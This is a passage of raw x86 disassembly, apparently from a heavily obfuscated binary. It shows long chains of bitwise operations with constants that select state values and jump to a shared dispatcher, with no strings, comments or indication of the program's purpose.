or al, cl
xor ah, al
mov dl, 1
xor dl, 1
and dl, 0
mov cl, 1
xor cl, 0
mov bh, cl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, bh
or al, cl
xor dl, al
xor ch, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
xor dh, 0xff
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, ah
xor al, 0xff
mov bh, 1
xor bh, 1
mov cl, 1
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov bh, dl
xor bh, 0xff
mov cl, bl
xor cl, bh
and cl, bl
mov bh, ch
and bh, dh
xor ch, dh
or bh, ch
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xaaa], bl
mov dh, cl
xor dh, 0xff
mov ch, 1
xor ch, 0
and bl, 0
and al, ch
mov byte [ebp - 0xaad], al
mov al, dh
and al, 0
mov byte [ebp - 0xaac], al
mov al, byte [ebp - 0xaad]
and cl, ch
or bl, al
mov al, byte [ebp - 0xaac]
or al, cl
mov cl, byte [ebp - 0xaab]
xor bl, al
mov al, byte [ebp - 0xaaa]
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or bl, al
mov al, bh
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bh, dh
mov ch, bl
xor ch, 0xff
and ch, 0xff
and bl, dh
mov dh, byte [ebp - 0xaa9]
or al, bh
or ch, bl
xor al, ch
mov bl, cl
and bl, ah
xor cl, ah
or bl, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, bl
or ah, ch
xor cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
and dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dl
or al, cl
xor ah, al
mov byte [ebp - 0xaa4], ah
mov cl, dh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov bl, dh
and bl, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, bl
or al, dl
xor cl, al
mov byte [ebp - 0xaa6], cl
mov dl, 1
xor dl, 0
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dl, bh
or al, bl
xor dl, al
xor ah, 0xff
mov bl, 1
xor bl, 0
mov al, 1
xor al, 1
or ah, bl
or al, 1
xor ah, 0xff
and ah, al
mov bl, 1
xor bl, 0
mov bh, dl
xor bh, 0xff
mov al, 1
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
mov bh, 1
xor bh, 0
mov al, cl
xor al, bh
and al, cl
mov bh, dl
xor bh, 0xff
mov cl, dh
xor cl, bh
and cl, dh
mov dh, ah
and dh, bl
xor ah, bl
or dh, ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0xaa5], bl
mov bh, 1
xor bh, 1
mov bl, ah
and bl, 0xff
and al, bh
mov byte [ebp - 0xaa8], al
mov al, byte [ebp - 0xaa5]
and al, 0xff
mov byte [ebp - 0xaa7], al
mov al, byte [ebp - 0xaa8]
and cl, bh
or bl, al
mov al, byte [ebp - 0xaa7]
or al, cl
mov cl, byte [ebp - 0xaa6]
xor bl, al
mov al, byte [ebp - 0xaa5]
or ah, al
mov al, byte [ebp - 0xaa4]
xor ah, 0xff
or bh, 1
and ah, bh
or bl, ah
mov bh, dh
xor bh, 0xff
mov ah, bl
and ah, bh
xor bl, 0xff
and dh, bl
or ah, dh
mov byte [ebp - 0xaa1], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, ah
and bh, 0xff
and al, dh
mov byte [ebp - 0xaa3], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xaa2], al
mov al, byte [ebp - 0xaa3]
and cl, dh
or bh, al
mov al, byte [ebp - 0xaa2]
or al, cl
mov cl, byte [ebp - 0xaa1]
xor bh, al
mov al, byte [ebp - 0xaa0]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or bh, ah
mov ah, bh
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or ah, bh
or dh, bl
xor ah, dh
mov dh, dl
and dh, 0
xor dl, 0
or dh, dl
xor dh, 0xff
mov dl, ah
xor dl, dh
and dl, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov dl, ch
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov ch, dh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or ch, dh
or cl, ah
xor ch, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, cl
and dl, 1
xor cl, 1
or dl, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov ch, al
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov ah, bl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, bl
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
and ch, 1
or dl, ch
mov dh, cl
xor dh, 0xff
mov bh, 1
xor bh, 1
mov ch, 1
xor ch, 1
or dh, bh
or ch, 1
xor dh, 0xff
and dh, ch
mov ch, dl
xor ch, 0xff
mov bh, al
xor bh, ch
and bh, al
mov ch, 1
xor ch, 1
mov al, ah
xor al, ch
and al, ah
mov byte [ebp - 0xa9f], al
mov al, dl
xor al, 0xff
mov ch, bl
xor ch, al
mov al, byte [ebp - 0xa9f]
and ch, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, al
and dh, ch
xor al, ch
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or al, bl
or ch, dh
xor al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc8ee4d7
mov ecx, 0x2df0c8dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [ebp - 0x174]
mov edx, dword [eax]
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x297ee077
mov esi, 0xffffffff
xor esi, 0x297ee077
mov edi, edx
and edi, esi
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x297ee077
and esi, 0xffffffff
or ecx, edi
or eax, esi
xor ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xfc979227
and ecx, 0xfc979227
mov esi, 0xffffffff
xor esi, 0xfc979227
and esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xfc979227
or esi, eax
mov edi, esi
xor edi, 0xffffffff
mov eax, edx
xor eax, edi
and eax, edx
mov dword [ebp - 0xb20], eax
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xff526b67
mov edx, 0xffffffff
xor edx, 0xff526b67
mov edi, edx
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xff526b67
and edx, 0xffffffff
or ebx, edi
mov edi, dword [ebp - 0xb20]
or eax, edx
xor ebx, eax
xor ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfc979227
mov eax, 0xffffffff
xor eax, 0x9ac8565
or ebx, edx
or eax, 0x9ac8565
xor ebx, 0xffffffff
and ebx, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf5284c29
or eax, esi
or edx, 0xf5284c29
xor eax, 0xffffffff
and eax, edx
mov dword [ebp - 0xb0c], eax
mov edx, ecx
xor edx, 0xffffffff
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xd289bfa
mov eax, edx
and eax, 0xd289bfa
mov dword [ebp - 0xb1c], eax
and ecx, esi
mov eax, edi
and eax, 0xd289bfa
mov dword [ebp - 0xb14], eax
mov eax, dword [ebp - 0xb20]
and eax, esi
mov dword [ebp - 0xb18], eax
mov eax, dword [ebp - 0xb1c]
or eax, ecx
mov ecx, dword [ebp - 0xb18]
mov dword [ebp - 0xb10], eax
mov eax, dword [ebp - 0xb14]
or eax, ecx
mov ecx, dword [ebp - 0xb10]
xor ecx, eax
mov eax, dword [ebp - 0xb0c]
or edx, edi
xor edx, 0xffffffff
or esi, 0xd289bfa
and edx, esi
or ecx, edx
mov edx, ebx
xor edx, 0xffffffff
mov dword [ebp - 0xb00], edx
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x170e6c44
and edx, 0x170e6c44
and ebx, esi
mov dword [ebp - 0xb08], ebx
mov ebx, edi
and ebx, 0x170e6c44
and eax, esi
mov dword [ebp - 0xb04], eax
mov eax, dword [ebp - 0xb08]
or edx, eax
mov eax, dword [ebp - 0xb04]
or ebx, eax
mov eax, dword [ebp - 0xb00]
xor edx, ebx
or eax, edi
xor eax, 0xffffffff
or esi, 0x170e6c44
and eax, esi
or edx, eax
mov esi, ecx
xor esi, 0xffffffff
mov eax, edx
and eax, esi
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov dword [ebp - 0xaec], eax
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x40000000
or edx, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xcecc1863
or eax, edx
or ecx, 0xcecc1863
xor eax, 0xffffffff
and eax, ecx
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
or ebx, ecx
xor ebx, 0xffffffff
xor ebx, 0x40000000
and ebx, 0x40000000
mov edi, eax
xor edi, 0xffffffff
mov dword [ebp - 0xafc], edi
mov edx, ebx
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf56d5295
and edi, 0xf56d5295
and eax, ecx
mov esi, edx
and esi, 0xf56d5295
and ebx, ecx
or edi, eax
mov eax, dword [ebp - 0xafc]
or esi, ebx
xor edi, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0xf56d5295
and eax, ecx
or edi, eax
mov eax, 0xffffffff
xor eax, 0x3d022578
and eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x3d022578
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xe746ea4a
mov edx, 0xffffffff
xor edx, 0xe746ea4a
mov ebx, edx
and ebx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xe746ea4a
and edx, 0xffffffff
or esi, ebx
or ecx, edx
xor esi, ecx
mov ecx, 0xffffffff
xor ecx, 0x3d022578
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xecd791ba
or ecx, esi
or edx, 0xecd791ba
xor ecx, 0xffffffff
and ecx, edx
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0xaf0], esi
mov ebx, ecx
xor ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1fc27b35
and esi, 0x1fc27b35
and eax, edx
mov dword [ebp - 0xaf8], eax
mov eax, ebx
and eax, 0x1fc27b35
mov dword [ebp - 0xaf4], eax
mov eax, dword [ebp - 0xaf8]
and ecx, edx
or esi, eax
mov eax, dword [ebp - 0xaf4]
or eax, ecx
mov ecx, dword [ebp - 0xaf0]
xor esi, eax
mov eax, dword [ebp - 0xaec]
or ecx, ebx
xor ecx, 0xffffffff
or edx, 0x1fc27b35
and ecx, edx
or esi, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov ebx, edi
xor ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbcf0ebd6
or ecx, ebx
or edx, 0xbcf0ebd6
xor ecx, 0xffffffff
and ecx, edx
mov ebx, eax
xor ebx, 0xffffffff
mov edx, edi
and edx, ebx
xor edi, 0xffffffff
and eax, edi
or edx, eax
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov dword [ebp - 0xae4], eax
mov ecx, esi
xor ecx, 0xffffffff
xor ecx, 0x3d022578
and ecx, 0x3d022578
mov eax, 0xffffffff
xor eax, 0x3d022578
and eax, 0x10aa95a6
mov ebx, 0xffffffff
xor ebx, 0x10aa95a6
mov edi, ebx
and edi, 0x3d022578
mov edx, esi
xor edx, 0xffffffff
and edx, 0x10aa95a6
and esi, ebx
or eax, edi
or edx, esi
xor eax, edx
mov edx, ecx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xdb017e27
mov ebx, edx
and ebx, 0xdb017e27
mov dword [ebp - 0xae8], ebx
and ecx, esi
mov ebx, edi
and ebx, 0xdb017e27
and eax, esi
mov dword [ebp - 0xae0], eax
mov eax, dword [ebp - 0xae8]
or eax, ecx
mov ecx, dword [ebp - 0xae4]
mov dword [ebp - 0xadc], eax
mov eax, dword [ebp - 0xae0]
or ebx, eax
mov eax, dword [ebp - 0xadc]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0xdb017e27
and edx, esi
or eax, edx
mov dword [ebp - 0xad8], eax
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
mov eax, ecx
and eax, edx
or esi, eax
xor esi, 0xffffffff
xor esi, 0xe10f6c44
and esi, 0xe10f6c44
mov eax, 0xffffffff
xor eax, 0xe10f6c44
and eax, 0x46c15431
mov edi, 0xffffffff
xor edi, 0x46c15431
mov ebx, edi
and ebx, 0xe10f6c44
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x46c15431
and edi, 0xffffffff
or eax, ebx
or edx, edi
xor eax, edx
mov edx, eax
xor edx, 0xffffffff
mov ebx, ecx
xor ebx, edx
and ebx, ecx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xe10f6c44
mov edx, 0xffffffff
xor edx, 0x6d3a8472
or ecx, edi
or edx, 0x6d3a8472
xor ecx, 0xffffffff
and ecx, edx
mov edx, 0xffffffff
xor edx, 0xffffffff
xor eax, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x499c966b
or edx, eax
mov eax, dword [ebp - 0xad8]
or edi, 0x499c966b
xor edx, 0xffffffff
and edx, edi
mov edi, esi
and edi, ebx
xor esi, ebx
or edi, esi
mov esi, ecx
and esi, edx
xor ecx, edx
or esi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0x2bbf72bd
mov ebx, 0xffffffff
xor ebx, 0x2bbf72bd
and edi, ebx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x2bbf72bd
and esi, ebx
or edx, edi
or ecx, esi
xor edx, ecx
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and edx, esi
or ecx, edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or edx, eax
mov eax, 0xffffffff
xor eax, 0x4555ce58
and eax, 0xa702841e
mov edi, 0xffffffff
xor edi, 0xa702841e
mov ebx, edi
and ebx, 0x4555ce58
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xa702841e
and edi, 0xffffffff
or eax, ebx
or esi, edi
xor eax, esi
mov edi, ecx
and edi, edx
xor ecx, edx
or edi, ecx
mov ecx, 0xffffffff
xor ecx, 0x4555ce58
mov dword [ebp - 0xacc], ecx
mov esi, eax
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd9517895
and ecx, 0xd9517895
mov ebx, edx
and ebx, 0x4555ce58
mov dword [ebp - 0xad4], ebx
mov ebx, esi
and ebx, 0xd9517895
and eax, edx
mov dword [ebp - 0xad0], eax
mov eax, dword [ebp - 0xad4]
or ecx, eax
mov eax, dword [ebp - 0xad0]
or ebx, eax
mov eax, dword [ebp - 0xacc]
xor ecx, ebx
or eax, esi
xor eax, 0xffffffff
or edx, 0xd9517895
and eax, edx
or ecx, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0xca59713e
mov esi, 0xffffffff
xor esi, 0xca59713e
and edi, esi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xca59713e
and esi, 0xffffffff
or eax, edi
or edx, esi
xor eax, edx
xor ecx, 0xffffffff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0xc063419b
mov ecx, 0x68485606
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov eax, dword [ebp - 0x174]
mov edx, dword [eax]
mov esi, edx
xor esi, 0xffffffff
and esi, 0x87261705
mov ecx, 0xffffffff
xor ecx, 0x87261705
mov edi, edx
and edi, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x87261705
and ecx, 0xffffffff
or esi, edi
or eax, ecx
xor esi, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x97a62772
or eax, esi
or ecx, 0x97a62772
xor eax, 0xffffffff
and eax, ecx
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
or esi, ecx
xor esi, 0xffffffff
mov ecx, edx
xor ecx, esi
and ecx, edx
mov esi, eax
and esi, ecx
xor eax, ecx
or esi, eax
mov ecx, 0xffffffff
xor ecx, 0x20000000
and ecx, 0xad8f33f7
mov edx, 0xffffffff
xor edx, 0xad8f33f7
mov edi, edx
and edi, 0x20000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xad8f33f7
and edx, 0xffffffff
or ecx, edi
or eax, edx
xor ecx, eax
mov edx, 0xffffffff
xor edx, 0x8fc73b8e
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x76aa9499
or edx, ecx
or eax, 0x76aa9499
xor edx, 0xffffffff
and edx, eax
mov edi, 0xffffffff
xor edi, 0x8fc73b8e
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x8fc73b8e
or edi, eax
mov dword [ebp - 0xc58], edi
xor edi, 0xffffffff
xor edi, 0x20000000
and edi, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x8fc73b8e
mov ebx, 0xffffffff
xor ebx, 0x2a100972
or ecx, eax
mov eax, dword [ebp - 0xc58]
or ebx, 0x2a100972
xor ecx, 0xffffffff
and ecx, ebx
mov ebx, 0xffffffff
xor ebx, 0xffffffff
xor eax, 0xffffffff
mov dword [ebp - 0xc54], eax
mov eax, 0xffffffff
xor eax, 0x753535b3
mov dword [ebp - 0xc50], eax
mov eax, dword [ebp - 0xc54]
or ebx, eax
mov eax, dword [ebp - 0xc50]
or eax, 0x753535b3
xor ebx, 0xffffffff
and ebx, eax
mov dword [ebp - 0xc4c], ebx
mov eax, edx
and eax, edi
xor edx, edi
or eax, edx
mov dword [ebp - 0xc38], eax
mov edx, ecx
xor edx, 0xffffffff
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xe4cdac84
mov eax, edx
and eax, 0xe4cdac84
mov dword [ebp - 0xc48], eax
and ecx, edi
mov eax, ebx
and eax, 0xe4cdac84
mov dword [ebp - 0xc40], eax
mov eax, dword [ebp - 0xc4c]
and eax, edi
mov dword [ebp - 0xc44], eax
mov eax, dword [ebp - 0xc48]
or eax, ecx
mov ecx, dword [ebp - 0xc44]
mov dword [ebp - 0xc3c], eax
mov eax, dword [ebp - 0xc40]
or eax, ecx
mov ecx, dword [ebp - 0xc3c]
xor ecx, eax
mov eax, dword [ebp - 0xc38]
or edx, ebx
xor edx, 0xffffffff
or edi, 0xe4cdac84
and edx, edi
or ecx, edx
mov edi, eax
xor edi, 0xffffffff
mov edx, ecx
and edx, edi
xor ecx, 0xffffffff
and eax, ecx
or edx, eax
mov eax, 0xffffffff
xor eax, 0x32a06b52
and eax, 0xcd5452e1
mov edi, 0xffffffff
xor edi, 0xcd5452e1
mov ebx, edi
and ebx, 0x32a06b52
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xcd5452e1
and edi, 0xffffffff
or eax, ebx
or ecx, edi
xor eax, ecx
xor eax, 0xffffffff
xor eax, 0x5947d57b
and eax, 0x5947d57b
mov dword [ebp - 0xc2c], eax
mov ecx, 0xffffffff
xor ecx, 0x5947d57b
and ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x5947d57b
or ecx, eax
mov eax, 0xffffffff
xor eax, 0x32a06b52
mov ebx, ecx
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x7e2e7c78
or eax, ebx
or edi, 0x7e2e7c78
xor eax, 0xffffffff
and eax, edi
mov dword [ebp - 0xc28], eax
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xa78faf
mov edi, 0xffffffff
xor edi, 0xa78faf
mov eax, edi
and eax, 0xffffffff
mov dword [ebp - 0xc34], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xa78faf
mov dword [ebp - 0xc30], eax
mov eax, dword [ebp - 0xc34]
and edi, 0xffffffff
or ebx, eax
mov eax, dword [ebp - 0xc30]
or eax, edi
xor ebx, eax
mov eax, 0xffffffff
xor eax, 0x5947d57b
mov edi, ebx
xor edi, eax
mov eax, dword [ebp - 0xc2c]
and edi, ebx
mov dword [ebp - 0xc10], edi
mov ebx, 0xffffffff
xor ebx, 0xffffffff
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x73b27638
or ebx, ecx
mov ecx, dword [ebp - 0xc28]
or edi, 0x73b27638
xor ebx, 0xffffffff
and ebx, edi
mov edi, eax
xor edi, 0xffffffff
mov dword [ebp - 0xc1c], edi
xor ecx, 0xffffffff
mov dword [ebp - 0xc18], ecx
mov ecx, 0xffffffff
xor ecx, 0x67fbb3c
mov dword [ebp - 0xc14], ecx
and edi, 0x67fbb3c
and eax, ecx
mov ecx, dword [ebp - 0xc28]
mov dword [ebp - 0xc24], eax
mov eax, dword [ebp - 0xc18]
and eax, 0x67fbb3c
mov dword [ebp - 0xc20], eax
mov eax, dword [ebp - 0xc14]
and ecx, eax
mov eax, dword [ebp - 0xc24]
or edi, eax
mov eax, dword [ebp - 0xc20]
or eax, ecx
mov ecx, dword [ebp - 0xc1c]
xor edi, eax
mov eax, dword [ebp - 0xc18]
or ecx, eax
mov eax, dword [ebp - 0xc14]
xor ecx, 0xffffffff
or eax, 0x67fbb3c
and ecx, eax
mov eax, dword [ebp - 0xc10]
or edi, ecx
mov ecx, eax
and ecx, ebx
xor eax, ebx
or ecx, eax
mov ebx, edi
xor ebx, 0xffffffff
and ebx, 0x3c789455
mov eax, 0xffffffff
xor eax, 0x3c789455
mov dword [ebp - 0xc0c], eax
and edi, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x3c789455
mov dword [ebp - 0xc08], eax
mov eax, dword [ebp - 0xc0c]
and ecx, eax
mov eax, dword [ebp - 0xc08]
or ebx, edi
or eax, ecx
xor ebx, eax
mov edi, esi
xor edi, 0xffffffff
mov ecx, edx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xc9d86ad0
or edi, ecx
or eax, 0xc9d86ad0
xor edi, 0xffffffff
and edi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x42e6fd28
mov dword [ebp - 0xc04], eax
mov eax, 0xffffffff
xor eax, 0x42e6fd28
and esi, eax
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x42e6fd28
and edx, eax
mov eax, dword [ebp - 0xc04]
or eax, esi
or ecx, edx
xor eax, ecx
mov esi, edi
xor esi, 0xffffffff
mov dword [ebp - 0xbf8], esi
mov edx, eax
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x3cef916c
and esi, 0x3cef916c
and edi, ecx
mov dword [ebp - 0xc00], edi
mov edi, edx
and edi, 0x3cef916c
and eax, ecx
mov dword [ebp - 0xbfc], eax
mov eax, dword [ebp - 0xc00]
or esi, eax
mov eax, dword [ebp - 0xbfc]
or edi, eax
mov eax, dword [ebp - 0xbf8]
xor esi, edi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x3cef916c
and eax, ecx
or esi, eax
mov eax, 0xffffffff
xor eax, 0x32a06b52
and eax, 0x895fb286
mov edx, 0xffffffff
xor edx, 0x895fb286
mov edi, edx
and edi, 0x32a06b52
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x895fb286
and edx, 0xffffffff
or eax, edi
or ecx, edx
xor eax, ecx
mov dword [ebp - 0xbe8], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xcffadb4f
mov edx, 0xffffffff
xor edx, 0xcffadb4f
mov edi, ebx
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xcffadb4f
and edx, 0xffffffff
or eax, edi
or ecx, edx
xor eax, ecx
mov dword [ebp - 0xbd8], eax
mov edi, 0xffffffff
xor edi, 0x32aef447
and edi, 0xd5417c
mov edx, 0xffffffff
xor edx, 0xd5417c
mov eax, edx
and eax, 0x32aef447
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xd5417c
and edx, 0xffffffff
or edi, eax
mov eax, dword [ebp - 0xbe8]
or ecx, edx
xor edi, ecx
mov dword [ebp - 0xbc4], edi
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x32aef447
mov ecx, 0xffffffff
xor ecx, 0x23ba4fb0
or eax, edx
mov edx, dword [ebp - 0xbd8]
or ecx, 0x23ba4fb0
xor eax, 0xffffffff
and eax, ecx
mov ecx, edi
xor ecx, 0xffffffff
xor ecx, 0x32a06b52
and ecx, 0x32a06b52
mov dword [ebp - 0xbf4], ecx
mov ecx, 0xffffffff
xor ecx, 0x32aef447
xor edx, ecx
mov ecx, dword [ebp - 0xbd8]
and edx, ecx
mov ecx, dword [ebp - 0xbf4]
mov dword [ebp - 0xbdc], edx
xor ebx, 0xffffffff
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbf1d0889
or ebx, edi
or edx, 0xbf1d0889
xor ebx, 0xffffffff
and ebx, edx
mov edi, eax
xor edi, 0xffffffff
xor ecx, 0xffffffff
mov dword [ebp - 0xbe4], ecx
mov ecx, 0xffffffff
xor ecx, 0x96ddc25d
mov dword [ebp - 0xbe0], ecx
mov edx, edi
and edx, 0x96ddc25d
and eax, ecx
mov ecx, dword [ebp - 0xbf4]
mov dword [ebp - 0xbf0], eax
mov eax, dword [ebp - 0xbe4]
and eax, 0x96ddc25d
mov dword [ebp - 0xbec], eax
mov eax, dword [ebp - 0xbe0]
and ecx, eax
mov eax, dword [ebp - 0xbf0]
or edx, eax
mov eax, dword [ebp - 0xbec]
or eax, ecx
mov ecx, dword [ebp - 0xbe8]
xor edx, eax
mov eax, dword [ebp - 0xbe4]
or edi, eax
mov eax, dword [ebp - 0xbe0]
xor edi, 0xffffffff
